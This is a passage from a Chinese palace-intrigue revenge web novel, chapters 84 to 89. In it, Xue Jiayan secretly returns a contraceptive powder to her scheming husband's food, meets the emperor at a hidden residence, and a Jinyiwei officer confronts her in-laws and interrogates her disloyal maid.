薛嘉言接过油纸包,捏着纸角闻了闻味道,唇角勾起一抹冷冽的弧度:“他既这么费心给我‘补’身子,不如让他自己尝尝滋味。” 察觉司春和戚少亭之间的勾当后,薛嘉言没立刻闹开,她请苗菁帮忙把人带走,接着差人去衙门报官,说“府中丫鬟司春私逃,还卷走了妆奁里的金镯、玉簪等贵重物件”。 戚少亭起初还疑心,追问过几次,见薛嘉言并没有其他动作,态度也如常,便也信了薛嘉言的话,认为司春眼皮子浅,真的拿了财物私逃了。 薛嘉言则请了太医调理,太医说幸好她身体底子好,吃这种避子散的时间不算长,很快便可调理过来, 薛嘉言谢过太医,又问:“若男子误服了女子避子的药粉,会如何?” 太医道:“女子避子之药多含寒凝、破血之性,男子服之,首伤肾精,次损元气。初期会精神萎靡、四肢乏力,久则腰膝酸软、难以举事,严重时甚至会耗损精元,影响子嗣传承。” 薛嘉言想到前世戚少亭喜滋滋地说晖善长公主怀了他的儿子,不由轻笑,这辈子,别说儿子,你连举都举不起来。 薛嘉言知道戚少亭不会放弃这件事,他知道司雨忠心,肯定会把主意打到春桃身上,一番威逼利诱,春桃毕竟年纪小,很容易被他掌控。 他却不知道,春桃早就被司雨吩咐过了,拿到药就送到司雨手里。 薛嘉言将油纸包还给司雨,吩咐道:“这药略有些味道,从今日起,每日都少量给他,积少成多,总会有效。” 司春奉命打着给大少奶奶补身子的借口往她餐食里下避子散,那她就以其人之道还治其人之身。 戚少亭下衙回来,背着人把春桃叫过去,问道:“你今日端饭时,放了补药进去吗?” 春桃点点头,戚少亭掏出几枚铜钱递给春桃,笑着道:“好孩子,那都是给你们奶奶补身子的,她嫌药难吃,你别告诉她。要不然她不肯吃了。” 春桃唯唯诺诺应下,她出去后,戚少亭沉下脸,眼中闪过寒光。 第84章 可恨之人,没有可怜之处 秋意渐浓,薛嘉言的日子却过得比往日更显充实。 白日里,她出门与周掌柜在粮行商议生意上的事情,新收的秋粮已入囤,商队即将出发往鞑靼。 在家时多半是陪伴着棠姐儿,教她读书认字,也带着她玩耍。 自姜玄生辰夜后,他竟有大半月未召她入宫。薛嘉言也不以为意,她不过是皇帝的床伴,自然得等皇帝空闲了,有心情了才会叫她。 这日午后,吕舟过来回话,说完铺子上的事情,薛嘉言问起戚炳春的事。 吕舟压低声音道:“奶奶,按您的吩咐,我故意引着老爷在巷口说话,瞧见杨主事进了王寡妇的门,我就佯作惊讶说了一句‘竟是他?’,老爷听了便问我是谁,我说是吏部的杨主事,往薛府走动过。” 薛嘉言问道:“他反应如何?” “老爷一听见是吏部的主事,眼睛当场就亮了,问了我好一会,我便把杨主事夸了几句。后来阿征瞧见他给王寡妇送了一匹布料,又送过一回绒花,这几日两人已走得极近。阿征说昨儿老爷在王寡妇家过的夜。” 薛嘉言听着吕舟说话,透过窗棂往外看,庭院里的那株菊花已冒出了花苞,已经是秋日了。秋天已经来了,冬天还会远吗?张二的刀想必也磨好了,往后冬至节便是戚炳春的忌日了。 薛嘉言在算计着戚炳春的死期,戚炳春却还在做着飞黄腾达的大梦。 第二日一早,他便找到薛嘉言你:“少亭家的,我有件事想跟你单独说说。” 薛嘉言瞥了他一眼,早已猜到他的来意,却不动声色地对司雨道:“把门开着,你在门口候着。” 戚炳春进屋后,先是背着手踱了两步,摆出长辈的架子,清了清嗓子道:“薛氏,按咱们戚家的规矩,你做出这种不知廉耻的事情,本该沉塘谢罪!” 他说这话时,眼睛紧紧盯着薛嘉言,等着看她惊慌失措、跪地求饶的模样。 可薛嘉言面色平静听着,等他说完,才淡淡“哦”了一声,连眼皮都没抬一下。 戚炳春脸上表情僵住,脸色沉了又沉,他本想先拿架子压一压,让薛嘉言感恩戴德,没料到她竟如此冷淡。 但一想到自己的目的,他又很快缓和了语气,凑近了些,声音里带着明显的贪婪:“不过呢,看在你为戚家生下棠姐儿,又确实帮少亭升了官的份上,我也就不跟你计较了。你既然经常能见到那位大人,不如也帮我说两句好话?我也不贪,能谋个七品官做做就行。” “七品就行”四个字,他说得轻描淡写,仿佛那是街边随手能捡的玩意儿。薛嘉言端着茶盏的手微微一顿,心底冷笑不止——多少读书人金榜题名也就是做个七品官,他一张口“七品就行。” 薛嘉言想着他反正也活不长了,且先钓着他,便道:“好啊,不过京城的缺难找,您老且等着,有消息我跟您说。” 戚炳春得了肯定的答复,脸上这才露出满意的笑。 他早跟王寡妇搭上了,一来贪图王寡妇的风骚,二来多条路多个选择,若是薛嘉言这边弄不到合适的官位,杨主事那边还有一条路。 自此之后,戚炳春依旧跟王寡妇那边来往,经由王寡妇介绍,也跟杨主事搭上了。 这日午后,棠姐儿在里屋榻上睡得正沉,小脸红扑扑的。 薛嘉言轻手轻脚掩上房门,换了身素色杭绸褙子,准备去福运粮行看看。刚走到侧门正准备上马车,巷口忽然传来一声撕心裂肺的嚎叫,听声音像是从王寡妇家传来的。 薛嘉言心头一跳,脚下顿住,忙对身后的司雨道:“去看看。” 两人快步往巷子深处走,越靠近王寡妇家的朱漆小门,里面的哭喊声就越清晰,嘶吼的女声有些熟悉,竟是栾氏。 “你个杀千刀的!我嫁给你快三十年,生了两个孩子,起早贪黑操持家务,你连根银簪都不舍得给我打!倒是买金簪来哄这个娼妇!我不活了我!” 门口已围了七八个邻居,都踮着脚往院里瞅,见薛嘉言来了,众人忙不迭地往后退,让出一条窄窄的路,连议论声都压低了几分。 薛嘉言走到门口,往里一看,王寡妇躲在廊柱后,头发散了半边,脸上还带着泪痕;栾氏坐在地上,靛蓝色的布裙沾了不少尘土,正一把鼻涕一把泪地哭喊;而戚炳春站在她面前,青灰色的长衫皱巴巴的,扣子都扣错了,看着栾氏冷冷说:“凭你也配要金簪?半截身子都埋进黄土的人了,戴金簪给谁看?” 他越说越气,既生气栾氏搅了他的好事,又嫌败露了丢人,抓着栾氏的衣领,啪啪打了两个巴掌,打得栾氏唇角都出了血。 栾氏被打得懵了,捂着生疼的脸,哭得更凶了:“我当年也是十里八乡的美人!现在日子好过了,你就嫌弃我老了?你没有良心!” 薛嘉言站在门口,静静看着这场闹剧,心头涌起一阵莫名的悲凉。 栾氏虽鬓角已藏了不少白发,眼角的皱纹也深了,可眉眼间的轮廓还在,鼻梁挺直,脸形也秀气,加上戚少亭和戚倩蓉都生的不错,想来栾氏年轻时确实是个秀美的姑娘。 女子的美貌从来都是最短暂的利器,即便能凭它敲开一扇门,甚至换得一时的偏爱,时间也短得可怜。再娇艳的花也有凋零的一天,再周正的容貌也抵不过岁月磋磨,更抵不过人心凉薄。 男人远比女人现实,他们的尊重从来不是靠“情分”或“容忍”换来的,而是靠“有用”。 就像戚少亭,他明明厌烦她与皇帝的牵扯,却始终不敢与她撕破脸,甚至还得维持表面的尊重。不过是因为她还有用罢了。 院里头,戚炳春还在骂骂咧咧,栾氏的哭声凄惨,饱含委屈。 薛嘉言退出来,对司雨低声道:“走吧。” 她对于栾氏生不出什么同情心,栾氏不是第一次挨打,打完三天她就忘了,依旧卑躬屈膝地伺候戚炳春。 况且,前世是她害死了棠姐儿,薛嘉言又怎么会同情她。 第85章 发烧 苗府西跨院的厢房里,郭晓芸坐在床头,手里捏着件群青色的棉衣,一针一线认真缝着袖口。前两日苗菁院里的小厮说了句爷的冬衣都旧了,她便记在心里,趁这几日身子懒,躲在房里慢慢做。 许是连着两日发热的缘故,她缝了没一会,就觉得有些累,额角也沁出一层薄汗。 “奶奶,喝药了。”门口传来荷花的声音,她端着个白瓷药碗走进来。 郭晓芸抬头,瞥见药碗里深褐色的药汁,眉头不自觉地蹙了起来,低低道:“先放一会吧,等凉些再喝,这苦味我实在受不住。” 话音刚落,门口忽然闪过一道青色身影,带着些微风意。 郭晓芸抬眸望去,正是苗菁。 “药要及时喝,凉了就没药效了。” 他走到炕边,端起那碗药上,又转向郭晓芸,语气温柔道:“你若实在怕苦,我来喂你。” 郭晓芸本就因发热脸颊泛着红,此刻更是烫得厉害,连耳尖都染上了绯色。 自那晚两人把话说开,苗菁抱着她哭之后,她就总刻意避着他,总觉得不自在。 郭晓芸咬了咬唇,没再拒绝,伸手接过药碗,深吸一口气,一闭眼,仰头将那碗苦药尽数灌了下去。 药刚喝完,苗菁就伸手将药碗接了过去,随手放在炕边的小几上。不等郭晓芸反应,他弯下腰靠近,指腹轻轻擦过她的唇角,带着微凉的触感,像羽毛似的挠在心上。 “有药渍。”他的声音压得很低,气息落在她的脸颊旁,让她的心跳瞬间快了起来。 郭晓芸慌忙掏出帕子,沾了沾唇角,想掩饰自己的慌乱。帕子刚收回来,见苗菁捏着一块蜜渍话梅,轻轻放在她的唇边。 “含着吧,能压一压药味。” 郭晓芸没法拒绝,微微张口,将那块话梅含进嘴里。 滋味瞬间在舌尖散开,有点酸,有点甜…… 苗菁看着她垂眸时长长的睫毛,像蝶翼似的轻轻颤动,眼底的笑意更浓了,他将她放在手边的冬衣拿起来,沉声道:“不许做了,等好了再做,我等得起。” 薛嘉言前两日命人送了些东西给郭晓芸,听说她病了,今日抽出时间来看望她。 穿过栽满桂花的庭院,刚走到西厢房门口,就见苗菁掀着帘角出来,青色的长衫衬得他身形挺拔,往日里眉宇间的戾色淡了许多,唇角微勾,漾着淡淡笑意。 薛嘉言敛衽行了一礼:“苗大人。” 苗菁颔首回礼,寒暄两句先走了。 薛嘉言心头一松,瞧苗菁神态,郭晓芸的病应该不重。她进门后瞧见郭晓芸白净的脸上满布红晕,诧异道:“郭姐姐,还在高烧吗?” 她快步走到床边,伸手探了探她的额头,温度虽还有些高,却也不至于是高热。 郭晓芸抬手摸了摸自己的脸,指腹触到肌肤的热度,脸颊红得更甚,声音细若蚊蚋:“已经退了些了,就是还有点晕。” 薛嘉言瞧着她这模样,又想起方才苗菁那似有若无的笑意,心头忽然通透。 她也不点破,坐在床边,与郭晓芸笑着闲话家常,问起她的饮食起居,又说起棠姐儿近日的趣事,逗得郭晓芸眉眼弯弯。 闲谈间,薛嘉言心中却掠过一丝可惜。 前世,戚少亭贪图郭晓芸的美貌,用尽手段逼迫她在热孝期进了戚家做妾。如今郭晓芸住进了苗家,苗菁也对她有情,可她毕竟要为亡夫守足三年孝,这三年的时光,两人若已生出情愫,往后只会更难熬。 坐了约莫半个时辰,见郭晓芸神色倦怠,薛嘉言便起身告辞。 出了苗府,她站在街边,正犹豫着要不要去福运粮行问问进展,忽听得车辕处传来一声轻快的招呼:“薛大奶奶!” 薛嘉言抬眼望去,只见甘松坐在一辆青布马车的车辕上,身上穿了件半旧的青布棉袍,正朝她招手。 他见薛嘉言看来,立刻咧嘴一笑,麻利地跳下车,飞快地跑过来,笑嘻嘻道:“薛大奶奶,请您跟小的去一个地方。” 甘松是姜玄的人,薛嘉言不怕他使坏,吩咐车夫跟上去。 马车缓缓启动,沿着街道一路前行。薛嘉言掀开车帘一角,瞧着窗外的街景,街角的糖人摊、巷口的老茶馆,看着是往猫眼胡同去的路数。 正思忖间,到了青瓦胡同,马车忽然转了个弯,驶进了一条巷子,一直往巷子深处驶去。 马车在一扇黑漆大门前缓缓停下,甘松跳下车,抬手拉起门环敲了三下。 不多时,门内传来“吱呀”的轻响,露出一张素净的脸——竟是千茉。 她见了薛嘉言,眼底立刻漾开温和的笑意,侧身让出门口:“薛主子,快请进。” 薛嘉言坐在马车上愣了一瞬,千茉是宫里的人,怎么会在这里等着? 她压下心头的狐疑,提着裙摆下车,跟着千茉往里走。 这是一处精巧的两进小院,穿过影壁,垂花门后头,一棵景观柿子树倚墙而立,枝桠上挂着三五个通红的果子,沉甸甸的,像缀着几颗小灯笼。两侧的花园里种着些月季与海棠,只是天气转寒,花叶早已落尽,只剩光秃秃的枝桠斜斜伸着,透着几分萧索。 又绕过一道月亮门,便到了后院。后院正中的正屋房门半掩着,门帘是浅青色的棉麻料子,被风轻轻吹得晃了晃,隐约能看到屋内透出的暖黄灯光。 薛嘉言的心忽然“砰砰”跳得快了起来她猜到里面可能是谁,可又觉得是自己想多了。 千茉停下脚步,伸手轻轻推开房门,暖融融的气息混着淡淡的龙涎香扑面而来,与她在长宜宫闻到的味道一模一样。 薛嘉言深吸一口气,迈步走了进去。 屏风后传来熟悉的、带着慵懒意味的低沉声音:“来了。” 第86章 外宅 薛嘉言情不自禁唇角翘起,快步绕过屏风,只见姜玄斜倚在软榻上,身上穿了件玄色常服,手里捏着一卷书,见她进来,便将书卷放在一旁,目光落在她身上,眼底带着笑意。 薛嘉言也不知道怎么了,看到姜玄心里忽然涌上满足,又夹杂着一丝委屈,她飞快扑进了姜玄怀里。 姜玄长臂一伸便将她牢牢抱住,另一手轻轻扣住她的后脑,指腹摩挲着她的脖颈,低头便吻了下去。这吻来得浓烈又急切,带着近一个月的思念与渴望,唇齿纠缠间,仿佛要将彼此揉进骨血里。 两人已经快一个月没见,彼此都十分渴望,春风已经数度,自然不必再矜持,锦帐放下,遮住了满室春光,却遮不住让人面红耳热的呻吟。 不知过了多久,云歇雨住。 薛嘉言浑身酸软,趴在姜玄微微起伏的胸口,额间还沾着细密的汗珠,声音带着刚经历情事的沙哑,又带着几分娇羞问道:“皇上……怎么会在这里?” 姜玄懒懒道:“上次见你被太后吓到,朕便让张鸿宝在宫外寻摸着一处宅子,这里离猫眼胡同不远,朕出来也不算麻烦。” 薛嘉言没想到,姜玄竟会为了与她幽会,特意在宫外置办这样一处外宅,她有些担忧道:“可若是被太后或是朝中大臣发现了……” “放心。张鸿宝办事向来稳妥,朕身边人都得用,不会有人察觉。就算真有风声,朕也会处理好,绝不会让你受半分牵连。” 薛嘉言见他说得笃定,悬着的心才渐渐放下,重新靠回他怀里。 姜玄问起福运粮行的事情,薛嘉言眼中瞬间亮了几分,从他怀里撑起身子,细细说起粮行的近况。 姜玄听得认真,待她说完,忍不住笑了,伸手将她重新揽进怀里,下巴抵着她的发顶:“果然是家学渊源。你做起生意来,条理分明,手段利落,比之男子也不遑多让。” 薛嘉言被他夸得心头一甜,微微抬起下巴,得意地挑了挑眉:“皇上这话说得不对——不是女子不如男子,只是从前女子大多被困在内宅,没机会接触这些罢了。若真给了机会,女子未必做不好。” 姜玄闻言点头,轻轻摩挲着她的脊背,低声说道:“你说得极是。女子并非不如男,只是缺了施展的舞台。就说皇姐,她名下有一间‘醉云轩’酒庄,专做南北酒水贸易,如今跟鞑靼的酒水生意做得风生水起,赚得盆满钵满。可见只要给了女子机会,一样能闯出自己的天地。” 薛嘉言脸上的笑意淡了几分,晖善长公主性情张扬,权势颇盛,她一直好奇姜玄对这位皇姐为何格外容忍。 “皇上与长公主的感情,倒是不错。”她试探着问道。 姜玄笑了笑道:“算不上多好。朕幼年时一直在冷宫,与兄弟姐妹几乎没有相处的机会,连见一面都难。有一年秋,天干物燥,冷宫不知怎么起了大火,我和母妃被困住。当时皇姐跟贵妃娘娘吵架,赌气跑到了冷宫附近的花园里,贵妃娘娘以为她在火场里,便命人全力救火,我和母妃也因此获救。算起来,皇姐是不经意间救了朕一命。” 这是薛嘉言第一次听闻其中缘由。原来姜玄对晖善的纵容,竟只是因为年少时的一点恩惠。 她总觉得以晖善的野心,绝不止于“行事张扬”,这里头或许还有更深的牵扯,可她与姜玄之间,终究不是能交心的地步,他肯把这般私密的往事说与她听,已是难得,她便不再多问,只轻轻“嗯”了一声。 两人又温存了片刻,姜玄扬声叫了千茉进来,吩咐道:“把人叫过来吧。” 千茉应了声“是”,转身退了出去。 不多时,便领着两个女子走进屋来。 两人皆是三十出头的年纪,身形窈窕,举止端庄。一个生得一张鹅蛋脸,眉眼温婉,脸上带着笑意;一个则是圆脸,眉目清亮,鼻梁挺直,唇线分明,有一股利落劲儿。 “这是拾英和云岫,”姜玄抬了抬下巴,对薛嘉言介绍道,“往后她们俩就在这宅子里伺候你。云岫在算学一道有些能耐,你打理粮行的生意,若是用得到账目核算、成本算计的地方,尽可以让她帮你。” 拾英和云岫齐齐上前一步,对着薛嘉言敛衽行了一礼,声音齐整:“婢子拾英/云岫,见过薛大奶奶。” 薛嘉言点头示意,让她们起身。千茉便上前领着两人出去安置。 “这两个都是可靠之人,是甄太妃娘娘留给朕的人,她们性子淡泊,不愿意留在深宫,这些年一直在外头帮朕打理些私产,办事稳妥,嘴也严实。如今你身边正缺得力的人手,就让她们跟着你,也能帮你分担些。” 薛嘉言心中一阵暖意涌上来。 她近日正因粮行的事忙得脚不沾地,吕舟虽可靠,却毕竟是男子,许多内宅和生意上的琐事不便事事操劳,拾英和云岫的到来,简直是雪中送炭。她抬头看向姜玄,眼底满是感激,忍不住凑上前,在他唇上狠狠亲了一口。 或许是因为身在宫外,没有了宫墙的束缚,两人之间的氛围愈发炽热。 薛嘉言这一吻带着几分娇憨与感激,瞬间点燃了姜玄心中的欲念。 他低笑一声,翻身将她压在身下。 几日后,紫宸殿,朝会结束后,大臣们鱼贯而出。 姜玄坐在龙椅上,右手撑着额头,指腹轻轻按压着眉心,神色间满是疲惫。 方才朝会上,大臣们又一次提起了选秀之事,相较于前几次,这次站出来支持的朝臣更多,言辞也更为恳切——“帝王立后,绵延子嗣,乃国之根本”、“皇上已届二十,后宫空置多年,于礼法不合”。 姜玄闭了闭眼,心中清楚,二十岁的年纪,放在寻常人家早已儿女成群,他身为帝王,确实不能再拖了。 沉吟片刻,他终是松了口:“此事便交由礼部经办吧。” 旨意一出,礼部效率极高,不过三五日,便将一份密密麻麻的选秀名单呈了上来,足足三十名适龄贵女,皆是名门之后、家世显赫。 姜玄叫来苗菁,命他私下去查一查秀女们的底细。 第87章 来我家抢人? 苗菁走后,姜玄看着那纸上一个个陌生的名字,想起先帝朝后宫的风风雨雨,想起母妃被幽禁冷宫、郁郁而终的模样,心头一阵烦闷。 姜玄想起很久没去看望太后,便移步长乐宫,去见太后,顺便问问太后的意见。 太后见到姜玄很是高兴,命人端来姜玄爱吃的茶点,又亲自斟了茶给姜玄喝。 说起选秀,太后柔声道:“皇上,皇后乃国母,责任重大,关乎朝堂稳定、子嗣绵延,需得慢慢挑选,细细考察,方能定下。倒是妃子不必太在意,只需家世合适、性情温婉,能讨皇帝喜欢、为皇家开枝散叶便好。哀家觉得,这次选秀,皇上可以先挑选几位妃嫔。” 姜玄蹙眉,沉默着没有应声。 太后见他不语,又放缓了语气,话锋一转:“你若不愿意,千茉性子沉稳、模样周正,又伺候你多年,心思细腻。你若喜欢,不如先把她抬为美人……” “不必了。千茉就留在长宜宫。”姜玄摇摇头,他站起身,对着太后行了一礼:“至于选秀一事,母后说得对,全权由母后做主。儿臣还有政务要处理,先行告退了。” 说罢,便转身离开了长乐宫,留下太后在殿内神色复杂地望着他的背影。 “娘娘,”太后身边的沁芳姑姑上前一步,小声道,“皇上如今已经知了人事,男子一旦开了荤便很难打住,依婢子看……” “别说了。”太后抬手打断她的话,脸上神色变幻不定,“哀家自有考量。” 沁芳姑姑见状,便不敢再多言,躬身退到一旁。 自青瓦胡同置办了私宅后,姜玄时常在下朝后来这里与薛嘉言幽会。 这日,薛嘉言再一次从姜玄的私宅出来,回到戚家时,戚少亭正拿着个花布兔子,逗得棠姐儿围着他转圈。 棠姐儿很是高兴,戚少亭脸上也带着少见的笑意,眉眼舒展,连平日里紧绷的嘴角都微微上扬,瞧着心情极好。 薛嘉言心中泛起一丝疑惑,戚少亭今日怎会这般高兴? 她压下心头的疑问,没上前搭话,梳洗时低声吩咐司雨:“你去让吕征这几日悄悄跟着戚少亭,看看他下值后都去了哪里,见了什么人。” 吕征跟了几日便过来回话:“大奶奶,大爷今日下值后绕路去了长公主府,在府里待一个时辰才出来。小的瞧得清楚,大爷脸上满是笑意,走路都带着劲,像是得了什么天大的好处。” “长公主府?”薛嘉言闻言眼底掠过一丝冷意。 她没想到,戚少亭竟这么快竟又想法子攀附上了晖善长公主。 这一世郭晓芸住进苗家,没能进戚家做妾,他闲得蛋疼,便想法子伏低做小去侍奉长公主了。 薛嘉言嘴角勾起一抹冷笑,对司雨吩咐道:“你记着,每日给他准备的‘补品’,可不能断了。” 那些避子散,薛嘉言只有进宫回来才需吃,戚少亭却要日日“进补”。 这东西男子吃多了伤身子,久了更是会断了阳气、导致不举。 晖善长公主那般骄纵的人,最是看重枕边人的能耐,若是知晓戚少亭不举,哪里还会给他好脸色? 戚少亭与晖善长公主的来往,原是因鸿胪寺协助督办鞑靼通商事宜而起。 戚少亭瞅准机会,跑前跑后极为殷勤为长公主办事。他本就生得一副好皮囊,眉眼俊朗,说话又懂得拿捏分寸,几句奉承话听得长公主心花怒放,也就将前面送礼的事揭过去了。 戚少亭幼时跟着书画先生学过古画修补,这几日去长公主府,是帮忙修补那些受潮或边角磨损的古画。虽也能跟长公主说上几句话,尚未到入幕之宾的地步。 他不敢碰薛嘉言,与长公主的关系又迟迟没有进展,郭晓芸又被苗菁弄走了。 更可气的是,几日前他下值路上,竟被人堵在巷子里揍了一顿,虽没伤筋动骨,却也疼得他好几日不敢久坐,打他的人骂他:“多嘴多舌,再胡说八道,拔了你的舌头!” 戚少亭越想越气,却不敢去找苗菁算账。憋屈之下,他忽然生出一计:郭晓芸是徐家的寡妇,徐家才是她的“夫家”,若是让徐家人来把她接回去,苗菁总不能公然违抗礼法吧? 他立刻让人去徐维的老家传话,只说“郭晓芸守寡期间不安分,与外男勾搭,还住进了外男家中,丢尽了徐家的脸面”,绝口不提那“外男”是锦衣卫。 苗家厨房内,郭晓芸系着青布围裙,正站在灶台前忙碌,灶上炖着的鸡汤咕嘟咕嘟冒着热气,散发出浓郁的香气。 今日是苗菁的生辰,她亲自下厨,要做几道苗菁爱吃的家乡菜。 正忙碌着,就听见前院传来一阵嘈杂的吵嚷声,荷花跑过来道:“奶奶,不好了!是……是徐家人来了,来了好几个男丁,在门口吵着要把您带回去,说您败坏门风!” 郭晓芸只觉得心中一凉,徐维在世时就很少跟徐家那边来往,只因清楚徐家人的德行。 徐家人来找她的原因很好猜,她还年轻,又有些姿色,带回去便是一桩好买卖。 但她不能放任徐家人在苗府门口闹事,这会连累苗三弟的名声,苗三弟可还未成婚呢。 她深吸一口气,强压下心头的慌乱,解下围裙递给荷花,理了理衣襟,挺直脊背,朝着前院走去。 “郭氏!你个不守妇道的贱人!给我滚出来!” “赶紧跟我们回去!别在外头丢人现眼了!” …… 郭晓芸强自镇定走到大门口,面对七八个面色不善的徐家人,她心里打着鼓,刚要张嘴说话,便有个粗壮的妇人伸手过来拉她。 “哎呦!” 那妇人的手才刚碰到郭晓芸的手腕,不知哪里飞来一颗石子,准确打在了她的腕骨上,疼得她一声凄厉惨叫。 郭晓芸顺着石子飞来的方向看去,苗菁远远走了过来。 他今日生辰,早早离了衙门,是以还没来得及换衣裳,身后又跟着薄广几人,一行五六人穿着飞鱼服,腰挎绣春刀,就那么一步步走过来。 他看了一眼脸色发白的郭晓芸,安慰地冲她笑了笑,抬手,哗地抽出腰间佩刀。 冷铁出鞘的声音,嘶哑,刺耳。 苗家门口,周遭的空气就仿佛凝固了徐家人像是被掐住了脖子,一丝声也发不出了。 苗菁的目光慢悠悠地从他们惊惧的脸上扫过,像是打量一群待宰的牲口。 他嘴角似乎弯了一下接着开口说话,声音不高,却带着一种阴冷,一字一句,砸在死寂的空气里: “怎么,几位这是来我家抢人?” 第88章 奶奶救我 “几位这是来我家里抢人?” 此话一出,门外那群徐家人,脸上的血色“唰”地一下褪得干干净净。 那妇人,方才还凶神恶煞一副要生吞活剥了郭晓芸的架势,此刻嘴唇哆嗦着,攥着一直在抖的手臂。其余人也是面如土色,眼神躲闪着,不敢去碰苗菁的目光。 锦衣卫,在百姓心中,比阎罗殿的催命符还吓人。徐家人没想到,郭晓芸竟和锦衣卫勾搭到了一处。 苗菁见他们这副样子,随意把刀垂着,刀尖斜指地面。他往前踏了半步,门口的徐家人却齐刷刷往后一退,挤作一团。 “大、大人……”一个中年汉子喉咙干得发紧,结结巴巴道:“这、这是我徐家……家务事,这郭氏是我兄长遗孀,按、按律……” “律?”苗菁眉梢微挑,像是听到了什么极新鲜的词,慢条斯理地道:“跟我讲律?” 他轻轻笑了一声,那笑声里没半点温度,反而激得人汗毛倒竖。 “诏狱还空着,几位跟我去讲讲律?”他语气平淡。 “不敢!不敢!”妇人吓得魂飞魄散,尖叫起来,扑通一声就跪下了,磕头如捣蒜,“大人明鉴!草民们不敢,咱们这就是走!” 苗菁这才满意的嗯了一声。 几人如蒙大赦,又像是被厉鬼追赶,连滚带爬地起身,头也不敢回地朝着巷子外狂奔而去。 苗菁看着那几人狼狈消失的方向,手腕一翻,绣春刀“锵”一声干脆利落地归入鞘中。 他转过身,看向郭晓芸,郭晓芸依旧靠着门框,脸色苍白,但那双看着他的眼睛,里面翻涌着极为复杂的情绪。 苗菁明白,她第一次看到自己这般跋扈的样子,或许还难以接受。 他走过去,垂眸看着她,声音带着了些无奈:“跟这些人,讲不清道理,只能耍狠。” 郭晓芸嗯了一声,低声道:“罢了,先进去吃饭吧。” 苗菁生辰原本欢喜回来,没想到被徐家人搅了好心情,好在郭晓芸做的家乡美食抚慰了他的心。 席间,郭晓芸忧心说道:“苗三弟,若徐家人不死心,再来府门前吵闹,岂不是要连累你的名声?” 苗菁正夹起一块糖醋排骨,闻言动作顿了顿,抬眼看向她,平静又温柔说倒道:“放心,他们不会来了。吃菜吧,菜要凉了。” 他没说的是,徐家人仓皇离去后,他便给了身边薄广一个眼色,薄广跟着他多年,最是懂他的心思,自会去处理好,让徐家人再也不敢踏足京城半步。 第二日一早,薄广便来向苗菁复命。 “大人,属下查问清楚了,徐家人是在老家听闻了些闲话,才特意赶来京城闹事的。而散播那些闲话、暗中撺掇他们来苗府讨说法的,正是戚少亭。” “又是他!”苗菁捏着茶杯的手指猛地收紧,眼底瞬间燃起怒火。 他早就因戚少亭屡次算计郭晓芸而心存不满,上回揍他一顿本是警告,没想到这人竟死性不改,还敢背后使阴招! 苗菁咬牙切齿,胸中杀意翻腾。 当日午后,薛嘉言便收到了苗菁派人送来的信,只说“有要事相商,请薛大奶奶移步北镇抚司衙门一叙”。 马车停在北镇抚司衙门外,朱红色的大门庄严肃穆,门口的锦衣卫面色冷峻,透着一股生人勿近的威严。 薛嘉言还是第一次来这种地方,踏入衙门的那一刻,便觉得空气中弥漫着一股压抑的气息,让她略有些紧张。 在衙役的带领下,她穿过几重院落,最终来到一间刑房外。刑房的门虚掩着,推开门,薛嘉言抬眼望去,只见苗菁坐在一张太师椅上,身上依旧是那身玄色锦衣卫服饰,面色平静。 他见薛嘉言进来,只是微微点头致意,指了指一旁的另一张太师椅:“坐,咱们一起听听你的丫鬟怎么说。” 薛嘉言顺着他的目光看去,才发现刑房角落里,蜷缩着一个熟悉的身影,是许久未见的司春。 司春头发散乱,衣衫破旧,脸上满是憔悴与恐惧,眼神空洞。她并没有被上刑,却像是被折磨得没了半分精气神。 自被苗菁的人带到诏狱后,她便一直被关在这里,每日只是重复着扫地、擦桌的活计,没人跟她说话,没人告诉她为何被关,更没人提过何时能出去。 整整两个多月的孤寂与恐惧,早已让她彻底崩溃,时常对着墙壁自言自语,反复念叨着“大爷,婢子全听你的”“为什么关我”、“大奶奶救我”之类的话。 司春听到动静,缓缓抬眸,待看清来人是薛嘉言后,空洞的眼底瞬间放出精光,她一路膝行到薛嘉言脚边,双手紧紧攥住她的裙摆,语气里满是期盼与哀求:“大奶奶!您是来救我的吗?我就知道您不会不管我的!” 薛嘉言垂眸看着脚边形容枯槁的司春,心情复杂。 司春七八岁就进了她的院子,从院里洒扫丫鬟,慢慢成了她身边最得力的贴身婢女。 这十来年的相处,她待司春早已不只是主仆,她原还想着过两年,寻个老实本分的商户人家,风风光光地把她嫁出去,让她过几天自在日子。可她怎么也没想到,自己视若亲人的丫鬟,竟会背着她,跟戚少亭搅和在一起,还帮着戚少亭害她。 薛嘉言轻轻挣开被攥住的裙摆,平静地问司春:“你知道那药的效用吗?” 第89章 辜负真心者,死! 司春的眼神猛地闪烁了一下,嘴唇嗫嚅着,几次张开嘴,却都没能发出声音。她欲言又止的模样,早已给了薛嘉言答案。 薛嘉言的心脏像是被针扎了一下,她不解地问道:“司春,你老子娘都在吕家,你在我身边十几年,我自问从未亏待过你,你是怎么敢背叛我的?” “我没有背叛您!”司春猛地抬起头,声音尖锐地辩解道,“奶奶,我真的是为了您好!您和那位的事本就见不得光,若是怀了他的孩子,那孩子算什么?大爷也是没办法啊,哪个男人能容忍自己的娘子怀上野种呢?我这都是为了您好啊!” 薛嘉言看着她一脸“我是为你好”的模样,生生被气笑了。 她没料到司春竟如此执迷不悟,把自己的背叛说得这般冠冕堂皇。 薛嘉言收敛了脸上的情绪,语气冷了几分:“为了我好?那你倒是说说,戚少亭许了你什么好处?你们什么时候勾搭在一起的?” 司春沉默了一会,低低说道:“我是奶奶的陪嫁丫鬟,按规矩,本就是给大爷预备着的,早晚都是他的人……” “呵。”薛嘉言被她这番话彻底恶心到了,她站起身,居高临下地看着司春,眼神里满是失望,“你若一心想给戚少亭做通房,跟我直说便是,我自会成全你。可你偏偏要偷偷摸摸,背着我给我下药,帮着外人害我!你若觉得这事没错,为何要瞒着我?” 司春被她问得哑口无言,只能低下头,肩膀微微颤抖着,不知是羞愧,还是害怕。 苗菁见司春该说的已经说了,眼底最后一丝耐心也耗尽,抬手挥了挥。 薄广立刻上前,架起瘫软在地的司春就往外拖。司春被吓得魂飞魄散,手脚乱蹬着,嘶哑地喊着:“奶奶!救我啊奶奶!” 薛嘉言背对着门口,听着那凄厉的哭喊,脚步未动分毫,连眼皮都没抬一下。 十来年的主仆情分,早在司春给她下药的那一刻就断了。 刑房的门“哐当”一声关上,屋里瞬间安静下来,苗菁看着薛嘉言挺直的脊背,语气里带着些凉薄道:“你那夫君当真是畜生不如——把你送给旁人做踏脚石,转头又勾搭你的丫鬟给你下药,这般欺辱你,你倒是忍得下去。他外出公干,你竟还特意让人去护送,真真是心胸宽广,妇人楷模。” 